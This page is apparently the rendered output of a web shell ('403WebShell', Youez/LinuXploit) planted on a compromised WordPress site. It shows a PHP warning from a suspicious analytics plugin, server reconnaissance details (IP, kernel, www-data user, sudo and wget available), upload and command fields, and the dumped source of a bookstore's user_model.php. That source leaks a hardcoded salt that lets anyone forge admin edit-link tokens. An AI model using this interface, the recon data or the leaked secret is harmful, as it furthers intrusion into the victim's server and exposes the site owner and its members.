Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hopeinstoughton_books/core/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hopeinstoughton_books/core/models/user_model.php
<?php

class User_Model extends Model {

	function __construct() {
		global $DATABASE;
		parent::__construct();
		if (!is_object($DATABASE->db)) $DATABASE->Open();
	}

	public function RetrieveNewBooks() {
		global $VARIABLE;
		$VARIABLE['newbooks'] = self::RetrieveNewBookList();
		self::GenerateDefaultMenu();
	}
	
	private function GenerateDefaultMenu () {
		global $VARIABLE;
		$VARIABLE['default_right'] = <<<BLOCK
	<h4>&nbsp; New Books &nbsp;</h4>
	{$VARIABLE['newbooks']}
	<a href="/main/africa">South African Cards</a><br>
	<a href="/main/title"><em>browse all titles...</em></a>

	<br><br>
	<h4>&nbsp; Online Books &nbsp;</h4>

	<a href="/online/"><em>more...</em></a>

BLOCK;

	}

	public function GetCashSaleAccount() {
		global $DATABASE;
		$data = $DATABASE->Lookup('select bm_id from dt_member where bm_firstname = "Cash Sale"');
		return empty($data['bm_id']) ? 0 : intval($data['bm_id']);
	}
	
	// list of books to appear under "new books"
	function RetrieveNewBookList() {
		global $DATABASE;
		$dt = gmdate('Y-m-d', time() - 90 * 86400);
	$sql = <<<BLOCK
select a1.ba_name as ba_name1,a2.ba_name as ba_name2,bt_id,bt_title
  from dt_stock 
  left outer join dt_title  on ds_title=bt_id
  left outer join dt_author as a1 on a1.ba_id=bt_author1
  left outer join dt_author as a2 on a2.ba_id=bt_author2
  where ds_in>=%s and ds_rediscovered='0'
  order by bt_title
BLOCK;
		$param = array('out' => '', 'prev' => '');
		$param = $DATABASE->Query($sql, array($dt), array($this, '__ip_newbooks'), $param);
		DbErr($DATABASE);
		$result = $param['out'];
		if ($result == '') $result = '<em>no new books</em><br>';
		return $result;
	}

	function __ip_newbooks(&$ITEM, &$param) {
		$titleid = $ITEM['bt_id'];
		if ($titleid == $param['prev']) return 0;
		$param['prev'] = $titleid;
		$dtitle = htmlspecialchars($ITEM['bt_title']);
		
		$line = <<<BLOCK
<a href="/main/title/$titleid">$dtitle</a><br>

BLOCK;
		$param['out'] .= $line;

	}
	
	public function SendContactEmail($data) {
		global $VARIABLE;
		$body = wordwrap($data['message']);

		$body = <<<BLOCK
Name:    {$data['name']}

Email:   {$data['email']}

Message:
$body

BLOCK;

		$email = array('subject' => 'books website: contact',
				  'from' => ADMIN_EMAIL,
				  'to' => 'Books <' . ADMIN_EMAIL . '>',
				  'body' => $body);
		$error = isp_SendEmail($email);
		if ($error == '') return '/main/thankyou';
		$VARIABLE['name.ERR'] = $error;
		return '';
	}
	
	public function SendRequest($webform) {
		global $HOST, $VARIABLE, $DATABASE;
	
		$data = $webform->DATA;
		$title = $data['id'];
		if ($title != '') {
			$f = $webform->GetFieldByFieldName('id');
			if (isset($f->list[$title])) $title = $f->list[$title];
		}
		$f = $webform->GetFieldByFieldName('type');
		$purchase =  isset($f->list[$data['type']]) ? $f->list[$data['type']] : $data['type'];
		$direct   = $data['direct'] == '0' ? 'No' : 'Yes';
		
		$body = <<<BLOCK
Name:         {$data['yourname']}
Title:        $title
Title2:       {$data['title']}
Author:       {$data['author']}
Purchase?     $purchase
Ship Direct?  $direct

BLOCK;

		$email = array('subject' => "book request from {$data['yourname']}",
				  'from' => ADMIN_EMAIL,
				  'to' => 'Books <' . ADMIN_EMAIL . '>',
				  'body' => $body);
		$error = isp_SendEmail($email);
		if ($error == '') return '/main/thankyou/12';
		$VARIABLE['name.ERR'] = $error;
		return '';
	}
	
	function __ibp_processmember(&$ITEM, &$param) {
		$param[$ITEM['bm_id']] = array(ip_AsMember($ITEM), $ITEM['bm_visible']);
	}

	public function GenerateUserList($include_cash = 0, $show_hidden = 0) {
		global $DATABASE;
		$where = ($include_cash) ? '1' : 'bm_id<>-2';
		if (!$show_hidden) $where .= " and bm_visible<>'0'";
		$sql = <<<BLOCK
select bm_id,bm_surname,bm_firstname,bm_visible from dt_member where $where order by bm_surname,bm_firstname
BLOCK;
		$result = $DATABASE->Query($sql, NULL, array($this, '__ibp_processmember'), array());
		DBerr($DATABASE);
		return $result;
	}
	
	public function MemberDetailsAsHTML($memberid) {
		global $VARIABLE, $DATABASE, $config;
	
		$DATA = $DATABASE->Lookup('select * from dt_member where bm_id=%d', $memberid);
		$name = htmlspecialchars(ip_AsMember($DATA));
		$address = nl2br(htmlspecialchars($DATA['bm_address']));
		$town = htmlspecialchars($DATA['bm_town']);
		$state = htmlspecialchars($DATA['bm_state']);
		$zip = htmlspecialchars($DATA['bm_zip']);
		$phone = htmlspecialchars($DATA['bm_phone']);
		$auth = md5('only-For-tHis-member:' . $memberid);
		$dbounce = urlencode($config->current_url);
		
		return <<<BLOCK
<h4>&nbsp; Member &nbsp;</h4>
<table border="0" width="100%">
<tr><td>$name</td></tr>
<tr><td>$address</td></tr>
<tr><td>$town, $state $zip</td></tr>
<tr><td>$phone</td></tr>
<tr><td align="right"><a href="/admin/member/$memberid?auth=$auth&bounce=$dbounce">edit...</a></td></tr>
</table>
BLOCK;
	}
	
	public function Webform_ClientList($label = 'this is me') {
		$webform = new webform('');
		$f = $webform->AddField_List('id', '&Member List', 1);
		$f->SetHeight(18);
		$f->SetWidth(480);
		$f->SetList($this->GenerateUserList());
		$webform->AddSubmit('s', "   $label   ");
		return $webform;
	}
	
	public function DetermineBarcodeType($barcode, $info) {
		$type = isset($info['db_type']) ? $info['db_type'] : '';
		switch($type) {
			case '':		// haven't seen it before ... is it possibly a driver's license
				if (strlen($barcode) >= 17) return -1;
				break;
			case 'm':			// library card scanned - generate new transaction
				$id = isset($info['db_member']) ? intval($info['db_member']) : 0;
				if (!$id) return -1;		// unallocated library card
				return $id;		// member number
			case 'p':			// name of a periodical 
				return 0;
			case 's':			// book/dvd/etc
				$id = empty($info['bt_id']) ? 0 : $info['bt_id'];
				if ($id) return $info;				// stock barcode - display price, or allocate to book
				return -2;		// unallocated stock
		}
		return 0;		// not recognized - ignore it
	}
	
	public function AssignBarcodetoMember($data) {
		global $DATABASE;
		$DATA = $DATABASE->Lookup('select * from dt_barcode where db_barcode=%s', $data['bar'], 'dt_barcode');
		$DATA['db_added'] = gmdate('Y-m-d H:i:s');
		if ($DATA['__existing'] && $DATA['db_type'] == 'm') {
			$sql = "update dt_barcode set db_member=%d,db_added=%s where db_barcode=%s";
			$DATABASE->Query($sql, array($data['id'], $DATA['db_added'], $data['bar']), '', 0);
		} else {
			$DATA['db_type'] = 'm';
			$DATA['db_barcode'] = $data['bar'];
			$DATA['db_member'] = $data['id'];
			$DATA['db_active'] = 1;
			$DATABASE->SaveRecord($DATA);
		}
		DBerr($DATABASE);
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit